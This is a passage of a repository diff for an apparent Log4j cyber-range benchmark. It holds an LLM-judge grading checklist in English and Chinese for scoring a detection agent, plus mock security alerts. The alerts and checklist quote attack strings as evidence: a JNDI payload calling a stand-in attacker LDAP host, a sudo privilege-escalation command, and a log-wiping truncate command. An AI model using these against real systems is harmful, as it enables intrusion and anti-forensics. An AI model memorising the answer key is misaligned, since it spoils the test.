| 144 |
+
|
| 145 |
+
### CHK-14: SSH public-key injection `PER-A01`
|
| 146 |
+
- **Evidence**: the `ops@internal-ci` public key exists in `/root/.ssh/authorized_keys`
|
| 147 |
+
- **Detection score** (3 pts)
|
| 148 |
+
- Discovery: found an unauthorized SSH public key
|
| 149 |
+
- Evidence: pointed out the public-key content and user identifier (ops@internal-ci)
|
| 150 |
+
- Attribution: identified as a persistent remote-access backdoor planted by the attacker
|
| 151 |
+
- **Plan score** (2 pts)
|
| 152 |
+
- Correctness: the plan gives the command to remove the specific public key
|
| 153 |
+
- Completeness: the plan recommends reviewing the authorized_keys of all users
|
| 154 |
+
|
| 155 |
+
### CHK-15: Profile.d backdoor `PER-I01`
|
| 156 |
+
- **Evidence**: `/etc/profile.d/java-env.sh` exists, containing hidden mining-launch logic
|
| 157 |
+
- **Detection score** (3 pts)
|
| 158 |
+
- Discovery: found a suspicious profile.d script
|
| 159 |
+
- Evidence: showed the file content, pointed out the hidden mining-launch command within
|
| 160 |
+
- Attribution: identified as a login-triggered persistence backdoor
|
| 161 |
+
- **Plan score** (2 pts)
|
| 162 |
+
- Correctness: the plan gives the command to delete the file
|
| 163 |
+
- Completeness: the plan recommends reviewing all scripts under /etc/profile.d/
|
| 164 |
+
|
| 165 |
+
## Dimension 4: Attribution and timeline (4 items)
|
| 166 |
+
|
| 167 |
+
### CHK-16: JNDI attack-entry identification `Q-01` *detection-only*
|
| 168 |
+
- **Evidence**: the webapp log `/opt/webapp/logs/app.log` contains a `${jndi:ldap://ATTACKER_IP:1389/a}` record
|
| 169 |
+
- **Detection score** (3 pts)
|
| 170 |
+
- Discovery: identified Log4j JNDI injection as the initial intrusion entry point
|
| 171 |
+
- Evidence: cited the specific log line in app.log, pointed out the JNDI payload
|
| 172 |
+
- Attribution: correctly correlated the JNDI injection with the subsequent webshell deployment
|
| 173 |
+
- **Plan score**: N/A
|
| 174 |
+
|
| 175 |
+
### CHK-17: Privilege-escalation path reconstruction `Q-02` *detection-only*
|
| 176 |
+
- **Evidence**: `/opt/webapp/deploy.sh` has been tampered with + sudo log
|
| 177 |
+
- **Detection score** (3 pts)
|
| 178 |
+
- Discovery: reconstructed the path by which the app user completed privilege escalation via rewriting deploy.sh + sudo
|
| 179 |
+
- Evidence: showed the modified content and timestamp of deploy.sh, cited the sudo audit log
|
| 180 |
+
- Attribution: fully described the privilege-escalation chain: app user can write deploy.sh → NOPASSWD sudo → root
|
| 181 |
+
- **Plan score**: N/A
|
| 182 |
+
|
| 183 |
+
### CHK-18: Attacker-IP attribution `Q-03` *detection-only*
|
| 184 |
+
- **Evidence**: the attacker IP in app.log / webshell access logs
|
| 185 |
+
- **Detection score** (3 pts)
|
| 186 |
+
- Discovery: identified and reported the attacker IP address
|
| 187 |
+
- Evidence: extracted the attacker IP from the application logs or network connections
|
| 188 |
+
- Attribution: correlated the attacker IP with the attack behaviors at each stage
|
| 189 |
+
- **Plan score**: N/A
|
| 190 |
+
|
| 191 |
+
### CHK-19: Log-tampering discovery `Q-02` *detection-only*
|
| 192 |
+
- **Evidence**: the `/var/log/auth.log` file was cleared (size=0)
|
| 193 |
+
- **Detection score** (3 pts)
|
| 194 |
+
- Discovery: found that a key log was abnormally cleared
|
| 195 |
+
- Evidence: pointed out that the auth.log file size is 0 and its mtime is abnormal
|
| 196 |
+
- Attribution: identified as the attacker's anti-forensic behavior, analyzed what the original log might have contained
|
| 197 |
+
- **Plan score**: N/A
|
| 198 |
+
|
| 199 |
+
## Dimension 5: Remediation closure (3 items)
|
| 200 |
+
|
| 201 |
+
### CHK-20: Log4j upgrade remediation `VUL-01`
|
| 202 |
+
- **Evidence**: after upgrade, the log4j-core jar version ≥ 2.17.1
|
| 203 |
+
- **Detection score** (3 pts)
|
| 204 |
+
- Discovery: the plan explicitly proposes upgrading Log4j
|
| 205 |
+
- Evidence: specifies the target version and operation steps
|
| 206 |
+
- Attribution: correlated the upgrade with sealing off the initial intrusion entry point
|
| 207 |
+
- **Plan score** (2 pts)
|
| 208 |
+
- Correctness: the plan specifies the correct secure version number
|
| 209 |
+
- Completeness: the plan covers the complete process of stopping the service → replacing → restarting → verifying
|
| 210 |
+
|
| 211 |
+
### CHK-21: Deploy.sh permission hardening `ENT-F05` `BAS-04`
|
| 212 |
+
- **Evidence**: `/opt/webapp/deploy.sh` restored to its original content and permissions tightened
|
| 213 |
+
- **Detection score** (3 pts)
|
| 214 |
+
- Discovery: identified the security risk of deploy.sh being tampered with
|
| 215 |
+
- Evidence: showed the current content and permissions of the file
|
| 216 |
+
- Attribution: correlated with the privilege-escalation path
|
| 217 |
+
- **Plan score** (2 pts)
|
| 218 |
+
- Correctness: the plan recommends restoring deploy.sh + tightening file permissions (root-write-only)
|
| 219 |
+
- Completeness: the plan covers file restoration + permission modification + sudoers hardening
|
| 220 |
+
|
| 221 |
+
### CHK-22: Password hardening `BAS-03`
|
| 222 |
+
- **Evidence**: root and app user passwords have been changed to strong passwords
|
| 223 |
+
- **Detection score** (3 pts)
|
| 224 |
+
- Discovery: the report proposes password-security recommendations
|
| 225 |
+
- Evidence: pointed out which users use weak passwords
|
| 226 |
+
- Attribution: explained how weak passwords facilitate the attack chain
|
| 227 |
+
- **Plan score** (2 pts)
|
| 228 |
+
- Correctness: the plan recommends a specific password policy
|
| 229 |
+
- Completeness: the plan covers all weak-password users + password-policy configuration
|
ranges/log4j-rce/checklist.md
ADDED
|
@@ -0,0 +1,229 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-log4j-rce 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge
|
| 7 |
+
- **仅检测项**:方案分标记 N/A,不参与对应汇总
|
| 8 |
+
|
| 9 |
+
## 维度 1:入侵实体识别与处置(5 项)
|
| 10 |
+
|
| 11 |
+
### CHK-01:Webshell 进程检测 `ENT-F01`
|
| 12 |
+
- **证据**:python3 webshell.py 进程监听 48888 端口
|
| 13 |
+
- **检测分**(3 分)
|
| 14 |
+
- 发现:识别到异常 Python HTTP 服务
|
| 15 |
+
- 证据:指出进程路径 `/opt/webapp/webshell.py`,监听端口 48888
|
| 16 |
+
- 归因:将 webshell 与 Log4j JNDI 利用链关联
|
| 17 |
+
- **方案分**(2 分)
|
| 18 |
+
- 正确性:方案给出正确的进程终止命令(kill / fuser -k 48888/tcp)
|
| 19 |
+
- 完整性:方案涵盖终止进程 + 删除文件 + 检查是否有重启机制
|
| 20 |
+
|
| 21 |
+
### CHK-02:挖矿进程检测 `ENT-P01`
|
| 22 |
+
- **证据**:进程 `/var/cache/.java-gc` 正在运行,伪装为 Java GC helper
|
| 23 |
+
- **检测分**(3 分)
|
| 24 |
+
- 发现:识别到挖矿进程
|
| 25 |
+
- 证据:指出路径 `/var/cache/.java-gc`,识别伪装名称
|
| 26 |
+
- 归因:将挖矿进程与攻击者持久化行为关联
|
| 27 |
+
- **方案分**(2 分)
|
| 28 |
+
- 正确性:方案给出正确的进程终止命令
|
| 29 |
+
- 完整性:方案涵盖终止进程 + 删除文件 + 检查守护机制(systemd/crontab)
|
| 30 |
+
|
| 31 |
+
### CHK-03:挖矿文件清理 `ENT-F02`
|
| 32 |
+
- **证据**:文件 `/var/cache/.java-gc` 存在(bash 脚本伪装为二进制)
|
| 33 |
+
- **检测分**(3 分)
|
| 34 |
+
- 发现:识别到恶意文件
|
| 35 |
+
- 证据:指出文件路径和类型
|
| 36 |
+
- 归因:与挖矿行为关联
|
| 37 |
+
- **方案分**(2 分)
|
| 38 |
+
- 正确性:方案给出正确的删除命令
|
| 39 |
+
- 完整性:方案建议检查 /var/cache、/tmp 等隐藏位置是否有副本
|
| 40 |
+
|
| 41 |
+
### CHK-04:Webshell 文件清理 `ENT-F01`
|
| 42 |
+
- **证据**:`/opt/webapp/webshell.py` 或 `/tmp/.ws.py` 存在
|
| 43 |
+
- **检测分**(3 分)
|
| 44 |
+
- 发现:发现异常 Python 文件
|
| 45 |
+
- 证据:指出路径和内容(HTTP server 接受 `?c=` 参数执行命令)
|
| 46 |
+
- 归因:识别为攻击者植入的后门文件
|
| 47 |
+
- **方案分**(2 分)
|
| 48 |
+
- 正确性:方案给出正确的删除命令
|
| 49 |
+
- 完整性:方案涵盖 webshell 文件 + Exploit.class 的清理
|
| 50 |
+
|
| 51 |
+
### CHK-05:数据外泄文件 `ENT-F04`
|
| 52 |
+
- **证据**:`/tmp/.db_dump` 存在,包含数据库导出内容
|
| 53 |
+
- **检测分**(3 分)
|
| 54 |
+
- 发现:发现数据库 dump 文件
|
| 55 |
+
- 证据:指出路径和内容(含用户凭证、API Keys)
|
| 56 |
+
- 归因:识别为攻击者信息收集阶段的产物
|
| 57 |
+
- **方案分**(2 分)
|
| 58 |
+
- 正确性:方案建议先保留取证分析,记录数据泄露范围
|
| 59 |
+
- 完整性:方案涵盖取证保存 + 后续清理 + 受影响凭证轮换建议
|
| 60 |
+
|
| 61 |
+
## 维度 2:基线风险(6 项)
|
| 62 |
+
|
| 63 |
+
### CHK-06:Log4j2 漏洞版本 `VUL-01`
|
| 64 |
+
- **证据**:`/opt/webapp/lib/log4j-core-2.14.1.jar` — CVE-2021-44228
|
| 65 |
+
- **检测分**(3 分)
|
| 66 |
+
- 发现:识别 Log4j2 2.14.1 存在已知 RCE 漏洞
|
| 67 |
+
- 证据:指出 jar 包路径和版本号,引用 CVE-2021-44228
|
| 68 |
+
- 归因:将此漏洞与初始入侵入口关联
|
| 69 |
+
- **方案分**(2 分)
|
| 70 |
+
- 正确性:方案建议升级到 2.17.1+ 或应用缓解措施(设置 log4j2.formatMsgNoLookups=true)
|
| 71 |
+
- 完整性:方案涵盖停服 → 替换 jar → 重启 + 验证措施
|
| 72 |
+
|
| 73 |
+
### CHK-07:SSH PermitRootLogin `BAS-01`
|
| 74 |
+
- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes`
|
| 75 |
+
- **检测分**(3 分)
|
| 76 |
+
- 发现:报告中提及 PermitRootLogin 的风险
|
| 77 |
+
- 证据:引用 sshd_config 中的具体配置行
|
| 78 |
+
- 归因:指出允许 root 直接 SSH 登录增加暴力破解风险
|
| 79 |
+
- **方案分**(2 分)
|
| 80 |
+
- 正确性:方案建议改为 `no` 或 `prohibit-password`
|
| 81 |
+
- 完整性:方案包含 `sshd -t` 验证和重启步骤
|
| 82 |
+
|
| 83 |
+
### CHK-08:SSH MaxAuthTries 过高 `BAS-01`
|
| 84 |
+
- **证据**:`/etc/ssh/sshd_config` 中 `MaxAuthTries 100`
|
| 85 |
+
- **检测分**(3 分)
|
| 86 |
+
- 发现:识别 MaxAuthTries 设置不安全
|
| 87 |
+
- 证据:引用配置行和具体数值 100
|
| 88 |
+
- 归因:解释该设置如何放大暴力破解风险
|
| 89 |
+
- **方案分**(2 分)
|
| 90 |
+
- 正确性:方案建议将 MaxAuthTries 改为合理值(3-6)
|
| 91 |
+
- 完整性:方案包含重启 sshd 步骤
|
| 92 |
+
|
| 93 |
+
### CHK-09:app 用户弱密码 `BAS-03`
|
| 94 |
+
- **证据**:app 用户密码为 `app2024`
|
| 95 |
+
- **检测分**(3 分)
|
| 96 |
+
- 发现:识别到系统用户使用弱密码
|
| 97 |
+
- 证据:通过密码策略检查或 shadow 文件分析发现
|
| 98 |
+
- 归因:弱密码可被暴力破解或社工利用
|
| 99 |
+
- **方案分**(2 分)
|
| 100 |
+
- 正确性:方案建议更换为强密码(16+ 字符,含大小写数字特殊字符)
|
| 101 |
+
- 完整性:方案涵盖密码修改 + 密码策略加固(PAM)
|
| 102 |
+
|
| 103 |
+
### CHK-10:Sudo NOPASSWD 过宽 `BAS-04`
|
| 104 |
+
- **证据**:`/etc/sudoers.d/app-deploy` 允许 app 用户 NOPASSWD 执行 `/opt/webapp/deploy.sh`
|
| 105 |
+
- **检测分**(3 分)
|
| 106 |
+
- 发现:识别 sudoers 配置风险
|
| 107 |
+
- 证据:引用 sudoers 文件内容
|
| 108 |
+
- 归因:解释可写脚本 + NOPASSWD = 直接提权
|
| 109 |
+
- **方案分**(2 分)
|
| 110 |
+
- 正确性:方案建议移除 NOPASSWD 或限制 deploy.sh 为 root 只写
|
| 111 |
+
- 完整性:方案涵盖 sudoers 修改 + 脚本权限加固 + visudo 验证
|
| 112 |
+
|
| 113 |
+
### CHK-11:JNDI 远程类加载配置 `VUL-01`
|
| 114 |
+
- **证据**:VulnWebApp.java 中 `System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")`
|
| 115 |
+
- **检测分**(3 分)
|
| 116 |
+
- 发现:识别 JNDI 安全配置被显式放宽
|
| 117 |
+
- 证据:指出代码位置和属性名
|
| 118 |
+
- 归因:解释该配置允许远程代码加载,是攻击生效的前提
|
| 119 |
+
- **方案分**(2 分)
|
| 120 |
+
- 正确性:方案建议移除该 System.setProperty 或设为 false
|
| 121 |
+
- 完整性:方案涵盖代码修改 + 重新编译 + 重启服务
|
| 122 |
+
|
| 123 |
+
## 维度 3:持久化检测与清除(4 项)
|
| 124 |
+
|
| 125 |
+
### CHK-12:Systemd 持久化后门 `PER-V01`
|
| 126 |
+
- **证据**:`/etc/systemd/system/java-gc-helper.service`(enabled 状态)
|
| 127 |
+
- **检测分**(3 分)
|
| 128 |
+
- 发现:发现可疑 systemd 服务单元
|
| 129 |
+
- 证据:指出服务名和文件路径,展示 ExecStart 内容
|
| 130 |
+
- 归因:识别为攻击者植入的持久化挖矿服务
|
| 131 |
+
- **方案分**(2 分)
|
| 132 |
+
- 正确性:方案包含 stop + disable + 删除 .service 文件 + daemon-reload
|
| 133 |
+
- 完整性:方案涵盖清理完整流程和验证步骤
|
| 134 |
+
|
| 135 |
+
### CHK-13:Crontab 持久化 `PER-S01`
|
| 136 |
+
- **证据**:root crontab 中存在 `*/5 * * * * /var/cache/.java-gc`
|
| 137 |
+
- **检测分**(3 分)
|
| 138 |
+
- 发现:发现可疑 crontab 条目
|
| 139 |
+
- 证据:展示 crontab 内容
|
| 140 |
+
- 归因:识别为定时重启挖矿进程的持久化机制
|
| 141 |
+
- **方案分**(2 分)
|
| 142 |
+
- 正确性:方案给出正确的 crontab 删除命令
|
| 143 |
+
- 完整性:方案建议检查 /etc/cron.d/ 等其他 cron 目录
|
| 144 |
+
|
| 145 |
+
### CHK-14:SSH 公钥注入 `PER-A01`
|
| 146 |
+
- **证据**:`/root/.ssh/authorized_keys` 中存在 `ops@internal-ci` 公钥
|
| 147 |
+
- **检测分**(3 分)
|
| 148 |
+
- 发现:发现未授权的 SSH 公钥
|
| 149 |
+
- 证据:指出公钥内容和用户标识(ops@internal-ci)
|
| 150 |
+
- 归因:识别为攻击者植入的持久远程访问后门
|
| 151 |
+
- **方案分**(2 分)
|
| 152 |
+
- 正确性:方案给出移除特定公钥的命令
|
| 153 |
+
- 完整性:方案建议审查所有用户的 authorized_keys
|
| 154 |
+
|
| 155 |
+
### CHK-15:Profile.d 后门 `PER-I01`
|
| 156 |
+
- **证据**:`/etc/profile.d/java-env.sh` 存在,内含启动挖矿的隐藏逻辑
|
| 157 |
+
- **检测分**(3 分)
|
| 158 |
+
- 发现:发现可疑 profile.d 脚本
|
| 159 |
+
- 证据:展示文件内容,指出其中隐藏的挖矿启动命令
|
| 160 |
+
- 归因:识别为登录触发型持久化后门
|
| 161 |
+
- **方案分**(2 分)
|
| 162 |
+
- 正确性:方案给出删除文件的命令
|
| 163 |
+
- 完整性:方案建议审查 /etc/profile.d/ 下所有脚本
|
| 164 |
+
|
| 165 |
+
## 维度 4:归因与时间线(4 项)
|
| 166 |
+
|
| 167 |
+
### CHK-16:JNDI 攻击入口识别 `Q-01` — 仅检测
|
| 168 |
+
- **证据**:webapp 日志 `/opt/webapp/logs/app.log` 含 `${jndi:ldap://ATTACKER_IP:1389/a}` 记录
|
| 169 |
+
- **检测分**(3 分)
|
| 170 |
+
- 发现:识别 Log4j JNDI 注入为初始入侵入口
|
| 171 |
+
- 证据:引用 app.log 中的具体日志行,指出 JNDI payload
|
| 172 |
+
- 归因:将 JNDI 注入与后续 webshell 部署正确关联
|
| 173 |
+
- **方案分**:N/A
|
| 174 |
+
|
| 175 |
+
### CHK-17:提权路径还原 `Q-02` — 仅检测
|
| 176 |
+
- **证据**:`/opt/webapp/deploy.sh` 已被篡改 + sudo 日志
|
| 177 |
+
- **检测分**(3 分)
|
| 178 |
+
- 发现:还原出 app 用户通过改写 deploy.sh + sudo 完成提权的路径
|
| 179 |
+
- 证据:展示 deploy.sh 被修改的内容和时间戳,引用 sudo 审计日志
|
| 180 |
+
- 归因:完整描述提权链:app 用户可写 deploy.sh → NOPASSWD sudo → root
|
| 181 |
+
- **方案分**:N/A
|
| 182 |
+
|
| 183 |
+
### CHK-18:攻击者 IP 归因 `Q-03` — 仅检测
|
| 184 |
+
- **证据**:app.log / webshell 访问日志中的攻击者 IP
|
| 185 |
+
- **检测分**(3 分)
|
| 186 |
+
- 发现:识别并报告攻击者 IP 地址
|
| 187 |
+
- 证据:从应用日志或网络连接中提取攻击者 IP
|
| 188 |
+
- 归因:将攻击者 IP 与各阶段攻击行为关联
|
| 189 |
+
- **方案分**:N/A
|
| 190 |
+
|
| 191 |
+
### CHK-19:日志篡改发现 `Q-02` — 仅检测
|
| 192 |
+
- **证据**:`/var/log/auth.log` 文件被清空(size=0)
|
| 193 |
+
- **检测分**(3 分)
|
| 194 |
+
- 发现:发现关键日志被异常清空
|
| 195 |
+
- 证据:指出 auth.log 文件大小为 0 且 mtime 异常
|
| 196 |
+
- 归因:识别为攻击者的反取证行为,分析原始日志可能包含的内容
|
| 197 |
+
- **方案分**:N/A
|
| 198 |
+
|
| 199 |
+
## 维度 5:修复闭环(3 项)
|
| 200 |
+
|
| 201 |
+
### CHK-20:Log4j 升级修复 `VUL-01`
|
| 202 |
+
- **证据**:升级后 log4j-core jar 版本 ≥ 2.17.1
|
| 203 |
+
- **检测分**(3 分)
|
| 204 |
+
- 发现:方案中明确提出升级 Log4j
|
| 205 |
+
- 证据:指定目标版本和操作步骤
|
| 206 |
+
- 归因:将升级与堵塞初始入侵入口关联
|
| 207 |
+
- **方案分**(2 分)
|
| 208 |
+
- 正确性:方案指定正确的安全版本号
|
| 209 |
+
- 完整性:方案涵盖停服 → 替换 → 重启 → 验证的完整流程
|
| 210 |
+
|
| 211 |
+
### CHK-21:Deploy.sh 权限加固 `ENT-F05` `BAS-04`
|
| 212 |
+
- **证据**:`/opt/webapp/deploy.sh` 恢复原始内容且权限收紧
|
| 213 |
+
- **检测分**(3 分)
|
| 214 |
+
- 发现:识别 deploy.sh 被篡改的安全风险
|
| 215 |
+
- 证据:展示文件当前内容和权限
|
| 216 |
+
- 归因:与提权路径关联
|
| 217 |
+
- **方案分**(2 分)
|
| 218 |
+
- 正确性:方案建议恢复 deploy.sh + 收紧文件权限(root 只写)
|
| 219 |
+
- 完整性:方案涵盖文件恢复 + 权限修改 + sudoers 加固
|
| 220 |
+
|
| 221 |
+
### CHK-22:密码强化 `BAS-03`
|
| 222 |
+
- **证据**:root 和 app 用户密码已更换为强密码
|
| 223 |
+
- **检测分**(3 分)
|
| 224 |
+
- 发现:报告中提出密码安全建议
|
| 225 |
+
- 证据:指出哪些用户使用弱密码
|
| 226 |
+
- 归因:解释弱密码对攻击链的促进作用
|
| 227 |
+
- **方案分**(2 分)
|
| 228 |
+
- 正确性:方案建议具体的密码策略
|
| 229 |
+
- 完整性:方案涵盖所有弱密码用户 + 密码策略配置
|
ranges/log4j-rce/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:3bb74aa938561b913038d6c38d549c191065e1da0b02993a900b684ebb8ba0a4
|
| 3 |
+
size 1868162608
|
ranges/log4j-rce/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:308263675679a7ba2a7e0d255235492b1463b6e42d1fb3d96bd124f2a06b9dc4
|
| 3 |
+
size 78
|
ranges/log4j-rce/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"RequestId": "mock-range-log4j-rce-alerts",
|
| 3 |
+
"PageSize": 50,
|
| 4 |
+
"CurrentPage": 1,
|
| 5 |
+
"TotalCount": 6,
|
| 6 |
+
"SuspEvents": [
|
| 7 |
+
{
|
| 8 |
+
"AlarmEventName": "Web应用远程代码执行",
|
| 9 |
+
"AlarmEventType": "Exploit",
|
| 10 |
+
"AlarmEventNameOriginal": "Log4j2 JNDI RCE",
|
| 11 |
+
"Level": "serious",
|
| 12 |
+
"Desc": "检测到通过 Log4j2 JNDI 注入触发远程代码执行,创建 webshell 进程",
|
| 13 |
+
"EventStatus": 1,
|
| 14 |
+
"InternetIp": "__VICTIM_IP__",
|
| 15 |
+
"IntranetIp": "__VICTIM_IP__",
|
| 16 |
+
"SrcIp": "__ATTACKER_IP__",
|
| 17 |
+
"GmtEvent": "2026-05-06 10:30:00",
|
| 18 |
+
"Details": "java.naming.InitialContext.lookup(ldap://__ATTACKER_IP__:1389/a) → Exploit.class → python3 webshell.py"
|
| 19 |
+
},
|
| 20 |
+
{
|
| 21 |
+
"AlarmEventName": "恶意脚本执行",
|
| 22 |
+
"AlarmEventType": "WebShell",
|
| 23 |
+
"AlarmEventNameOriginal": "Webshell Activity",
|
| 24 |
+
"Level": "serious",
|
| 25 |
+
"Desc": "检测到 Python HTTP 服务监听 48888 端口,接收并执行远程命令",
|
| 26 |
+
"EventStatus": 1,
|
| 27 |
+
"InternetIp": "__VICTIM_IP__",
|
| 28 |
+
"SrcIp": "__ATTACKER_IP__",
|
| 29 |
+
"GmtEvent": "2026-05-06 10:31:00",
|
| 30 |
+
"Details": "python3 /opt/webapp/webshell.py 48888"
|
| 31 |
+
},
|
| 32 |
+
{
|
| 33 |
+
"AlarmEventName": "提权行为",
|
| 34 |
+
"AlarmEventType": "PrivilegeEscalation",
|
| 35 |
+
"AlarmEventNameOriginal": "Sudo Privilege Escalation",
|
| 36 |
+
"Level": "serious",
|
| 37 |
+
"Desc": "app 用户通过修改可写的 deploy.sh 并利用 sudo NOPASSWD 完成 root 提权",
|
| 38 |
+
"EventStatus": 1,
|
| 39 |
+
"InternetIp": "__VICTIM_IP__",
|
| 40 |
+
"GmtEvent": "2026-05-06 10:35:00",
|
| 41 |
+
"Details": "echo '#!/bin/bash\\nid > /tmp/.uid' > /opt/webapp/deploy.sh && sudo /opt/webapp/deploy.sh"
|
| 42 |
+
},
|
| 43 |
+
{
|
| 44 |
+
"AlarmEventName": "异常进程-挖矿",
|
| 45 |
+
"AlarmEventType": "CryptoCurrency",
|
| 46 |
+
"AlarmEventNameOriginal": "Mining Process",
|
| 47 |
+
"Level": "serious",
|
| 48 |
+
"Desc": "检测到挖矿行为,进程伪装为 java-gc-helper",
|
| 49 |
+
"EventStatus": 1,
|
| 50 |
+
"InternetIp": "__VICTIM_IP__",
|
| 51 |
+
"GmtEvent": "2026-05-06 10:40:00",
|
| 52 |
+
"Details": "/var/cache/.java-gc (systemd service: java-gc-helper)"
|
| 53 |
+
},
|
| 54 |
+
{
|
| 55 |
+
"AlarmEventName": "持久化后门-Crontab",
|
| 56 |
+
"AlarmEventType": "Persistence",
|
| 57 |
+
"AlarmEventNameOriginal": "Crontab Backdoor",
|
| 58 |
+
"Level": "high",
|
| 59 |
+
"Desc": "发现可疑 crontab 条目执行隐藏脚本",
|
| 60 |
+
"EventStatus": 1,
|
| 61 |
+
"InternetIp": "__VICTIM_IP__",
|
| 62 |
+
"GmtEvent": "2026-05-06 10:41:00",
|
| 63 |
+
"Details": "*/5 * * * * /var/cache/.java-gc"
|
| 64 |
+
},
|
| 65 |
+
{
|
| 66 |
+
"AlarmEventName": "日志异常清除",
|
| 67 |
+
"AlarmEventType": "DefenseEvasion",
|
| 68 |
+
"AlarmEventNameOriginal": "Log Tampering",
|
| 69 |
+
"Level": "high",
|
| 70 |
+
"Desc": "auth.log 被异常截断,疑似攻击者清理入侵痕迹",
|
| 71 |
+
"EventStatus": 1,
|
| 72 |
+
"InternetIp": "__VICTIM_IP__",
|
| 73 |
+
"GmtEvent": "2026-05-06 10:45:00",
|
| 74 |
+
"Details": "truncate -s 0 /var/log/auth.log"
|
| 75 |
+
}
|
| 76 |
+
]
|
| 77 |
+
}
|
ranges/log4j-rce/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"RequestId": "mock-range-log4j-rce-baselines",
|
| 3 |
+
"PageSize": 50,
|
| 4 |
+
"CurrentPage": 1,
|
| 5 |
+
"TotalCount": 4,
|
| 6 |
+
"RiskItemList": [
|
| 7 |
+
{
|
| 8 |
+
"RiskItemName": "PermitRootLogin 配置为 yes",
|
| 9 |
+
"RiskLevel": "high",
|
| 10 |
+
"Category": "ssh_config",
|
| 11 |
+
"ItemName": "SSH PermitRootLogin",
|
| 12 |
+
"CheckResult": "warn",
|
| 13 |
+
